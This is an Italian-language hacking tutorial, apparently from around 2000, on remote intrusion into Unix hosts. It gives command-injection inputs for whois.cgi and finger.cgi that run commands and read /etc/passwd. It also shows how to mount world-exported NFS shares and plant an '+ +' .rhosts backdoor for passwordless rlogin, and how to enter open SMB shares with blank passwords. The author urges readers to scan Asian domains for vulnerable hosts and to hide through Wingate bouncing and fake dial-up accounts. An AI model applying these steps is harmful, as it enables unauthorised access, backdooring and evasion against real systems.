Sicurezza: Tecniche di intrusione
---[ i N D i C E ]---
0x01.0 iNTR0
0x01.1 WH0iS.CGi
0x01.2 FiNGER.CGi
0x01.3 NETW0RK FiLE SYSTEM
0x01.4 NETBi0S & LiNUX: SAMBA HACKING
0x01.5 C0NCLUSi0NE
0x01.6 F0NTi
0x01.0 i N T R 0
================
Sembra che l'unico modo semplice per poter eseguire comandi su
di un host da remoto sia l'utilizzo del celebre phf, ormai
introvabile.
Ebbene, non è così. Esistono altri bug, sia antichi, sia
recenti, che permettono di ottenere lo stesso risultato.
Il presente documento mostra alcuni metodi che consentono di
eseguire comandi da remoto, o comunque permettono all'intrusore
di accedere a un host senza avere un account su quel sistema.
Questo articolo copre l'argomento dell'intrusione. Cosa fare
una volta entrati, come nascondersi, come ottenere il file
delle password e come crackarlo non sono argomenti trattati in
questo tutorial.
In ogni caso, l'autore non si assume nessuna responsabilità
sull'uso che verrà fatto delle informazioni contenute in
questo documento.
0x01.1 WHOIS.CGI
================
Il whois.cgi e' uno script che permette di verificare online
l'esistenza di un dominio. Per esempio, se vogliamo ottenere
informazioni su di un determinato dominio, basta immettere il
nome del dominio nello spazio apposito e premere
"Invio", e otteniamo una serie di informazioni sul
dominio specificato. Ebbene, la versione 1.0 dello script che
effettua questa operazione contiene un bug: se al posto del
nome del dominio, inseriamo un comando Unix preceduto da
";" lo script lo esegue e ci resituisce l'output sul
browser! Per esempio, se noi mettiamo
;id
otteniamo come risposta qualcosa del tipo:
uid=501(tritemius) gid=500(users)
come se avessimo eseguito il comando id da una shell.
Con
;cat < /etc/passwd
otterremo la lista del file delle password (che probabilmente
sarà shadowed).
Esistono varianti di questo bug: in alcuni casi, invece di
usare semplicemente il ";" si devono mettere anche
le doppie apici; oppure un ";" anche in fondo al
comando. Ecco il bug nelle sue tre varianti:
;comando
";comando
;comando;
Questo bug e' discretamente diffuso: l'ho visto funzionare
anche su sistemi abbastanza grandi. Ho trovato solo la prima
variante, e l'ho visto funzionre solo su script contrassegnati
dal numero di versione 1.0.
0x01.2 FINGER.CGI
=================
Finger è un programma che mostra informazioni sugli utenti di
un host. Il discorso e' analogo al whois.cgi bug: ci sono siti
che mettono online il finger. La pagina html richiama un cgi,
appunto il finger.cgi. Se inseriamo nella text-box di input un
comando Unix preceduto da "|", il comando sara'
eseguito, esattamente come nel caso del whois.cgi.
Esempio:
|id
otteniamo come risposta qualcosa del tipo:
uid=501(tritemius) gid=500(users)
Anche questo script è diffuso più o meno come il whois.cgi
(forse un po' meno). Non ho info sul numero di versione di
questo script.
0x01.3 NETW0RK FiLE SYSTEM
==========================
Abbandoniamo i cgi e veniamo a un classico dell'hacking in
ambiente Unix, ovvero il Network File System. Benchè si
tratti di un metodo assai datato e' impressionante il numero
di sistemi tuttora attaccabili con questo sistema. Unix
permette di condividere directory attraverso una rete. Questo
significa che un computer remoto puo' "montare" sul
proprio sistema una o piu' directory del sistema locale. Il
computer remoto monta la directory con il comando mount lo
stesso comando utilizzato per montare floppy,cdrom,partizioni.
Dopo che questa operazione è stata eseguita il sistema remoto
puo' accedere alla directory condivisa come se questa fosse in
locale, come se facesse parte dello stesso hard-disk; l'utente
accede a questa directory come accede a tutte le altre, con i
comandi classici (cd,mv,cp,rm...). Tutto il meccanismo è
completamente trasparente all'utente.
Per controllare se un sistema condivide directory attraverso
NFS, basta eseguire
showmount -e nomehost
Se esistono directory condivise queste verranno listate:
/home host1 host2 host3
/usr host1
Questo esempio mostra quello che puo' risultare
dall'esecuzione del comando showmount, ovvero una serie di
directory (2 in questo case,home e usr) seguite dal nome degli
host che possono accedere a queste risorse. Come si intuisce,
queste directory possono essere montate solo dai sistemi
elencati (host1,host2,host3). Ma se al posto di
host1,host2,host3 ci fosse stato everyone, allora le due
directory sarebbero state leggibili da chiunque...
Per sempio:
showmount -e www.pippo.com
/home everyone
/home1 everyone
/home2 everyone
L'host www.pippo.com esporta 3 directory; queste directory
possono essere montate da qualsiasi sistema!!!
Quindi eseguiamo
mount www.pippo.com:/home /mnt
A questo punto nella directory mnt del nostro sistema
troveremo il contenuto della directory home dell'host
www.pippo.com!
Con
cd mnt
ls
avremo la lista della directory home
/joe /john /mike
Ora basta entrare nella direcotry di un utente (es.: cd joe),inserire
la piu' classica delle backdoor:
echo '+ +' >> .rhosts
ed eseguire un login remoto
rlogin -l joe www.pippo.com
per avere una shell senza richiesta di password.
Questo metodo funziona ancora. In Oriente si trovano molti
sistemi con questo tipo di problema.
0x01.4 NETBi0S & LiNUX: SAMBA HACKiNG
=====================================
Molti avranno gia' sperimentato il netbios hacking da Windows
utilizzando nbtstat. Qui viene illustrato come la stessa
tecnica puo' essere utilizzata anche con Linux; si deve sapere
inoltre che la condivisione di risorse tramite netbios (la
famosa porta 139) non e' una caratteristica dei sistemi
Microsoft: anche Unix permette lo stesso tipo di servizio
tramite Samba server.
Per accedere ai servizi netbios sotto Linux occorre il Samba
client (smbclient), che molto probabilmente troverete nella
vostra distribuzione. Eseguendo smbclient senza argomenti
viene mostrata la lista delle opzioni:
Usage: smbclient service <password> [-p port] [-d
debuglevel] [-l log]
Version 1.9.17p4
-p port
listen on the specified port
-d debuglevel
set the debuglevel
-l log basename. Basename for
log/debug files
-n netbios name. Use this name
as my netbios name
-N
don't ask for a password
-P
connect to service as a printer
-M host
send a winpopup message to the host
-m max protocol set the
max protocol level
-L host
get a list of shares available on a host
-I dest
IP
use this IP to connect to
-E
write messages to stderr instead of stdout
-U username
set the network username
-W workgroup
set the workgroup name
-c command string execute semicolon
separated commands
-T<c|x>IXgbNa
command line tar
-D
directory
start from directory
A noi interessa l'opzione -L
smbclient -L "nome_host_dns"
(per nome_host_dns si intende il nome dell'host tipo
www.pippo.com)
Questo comando mostra le eventuali risorse che il sistema
remoto mette a disposizione:
Added interface ip=192.168.0.2 bcast=192.168.0.255
nmask=255.255.255.0
Unknown socket option TCP_NODELAY
Server time is Tue Jan 27 22:54:18 2000
Timezone is UTC+1.0
Domain=[WORKGROUP] OS=[Unix] Server=[Samba
1.9.17p4]
connected as guest security=user
Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP]
Sharename Type
Comment
--------- ----
-------
IPC$
IPC IPC Service (Samba
1.9.17p4)
X
Disk "Directory
condivisa"
This machine has a browse list:
Server
Comment
---------
-------
VITTIMA
Samba 1.9.17p4
This machine has a workgroup list:
Workgroup
Master
---------
-------
OTHERGROUP
OTHER
WORKGROUP
VITTIMA
Ora possiamo accedere. Come ? Ancora con smbclient. Vediamo:
smbclient \\\\VITTIMA\\X -I ip_vittima
Dove ip_vittima e' l'ip che avrete ottenuto con il lookup del
nome_host_dns. Talvolta appare la richiesta di una password:
normalmente basta battere invio per ottenere l'accesso; se
questo non dovesse funzionare, si puo' tentare di entrare
specificando l'account con l'opzione -U
smbclient \\\\VITTIMA\\X -I ip_vittima -U Administrator
battendo sempre invio all'eventuale richiesta di password. Una
volta entrati vi troverete di fronte a un prompt del tipo
smb>
e potrete interagire con il server piu' o meno come si farebbe
con ftp. Con ? si ottiene la lista dei comandi:
smb: \> ?
ls
dir
lcd
cd pwd
get mget
put mput
rename
more mask
del rm
mkdir
md
rmdir rd
pq
prompt
recurse translate
lowercase print
printmode
queue qinfo
cancel quit
q
exit newer
archive tar
blocksize
tarmode setmode
help
?
!
E' possibile anche montare la diretory remota come si fa con
il NFS che abbiamo visto prima: pero' invece di usare mount si
usa smbmount:
smbmount //VITTIMA/X /mnt -I <ip_vittima>
Per poter montare il SMB file system ci si deve assicurare che
il proprio kernel lo supporti; in caso contrario sara'
necessario ricompilarlo includendo questa caratteristica.
Una volta montata la directory remota, si potranno usare i
comandi Unix come nel caso del NFS.
0x01.5 CONCLUSi0NE
==================
Tutte le tecniche esaminate in questo articolo hanno una
caratteristica comune:
sono relativamente semplici e funzionano. Uno scanning nei
domini .kr,.tw,.jp e affini porta alla luce una situazione
sconcertante dal punto di vista della sicurezza. Con un po' di
pazienza (e con gli strumenti giusti) si troveranno decine di
host che avranno almeno una delle debolezze qui descritte
(probabilmente molti cadranno a causa delle condivisioni SMB e
NFS).
Il fatto che questi sistemi siano deboli non deve essere un
invito ad abbassare la guardia dal punto di vista
dell'anonimato.
Tutte le regole devono essere rispettate: bouncing sui Wingate
o da shell "sicure"; utilizzo di account falsi per
il dial-up telefonico; inibizione del CLI (per quel che puo'
valere). Per una trattazione piu' approfondita dell'argomento
controllate "Mimetizzazione termo-ottica", che
trovate sul mio sito.
Inoltre invito tutti ad approfondire gli argomenti qui esposti
prima di metterli in pratica. Studiate i comandi mount,showmount,smbclient,rlogin
(e tutti gli altri sui quali avete dubbi) utilizzando il
comando man (es. man mount).
0x01.6 F0NTi
============
"Whois.cgi Advisory hhp-ADV#12"
(Loophole, hhp)
"Improving the Security of Your Site by Breaking Into it"
(Dan Farmer,Wietse Venema)
"Uso de Samba en Linux/Unix como sustituto del Nbtstat"
(Enif, JJF#3)
[EOF]
Testo scritto da TRITIEMUS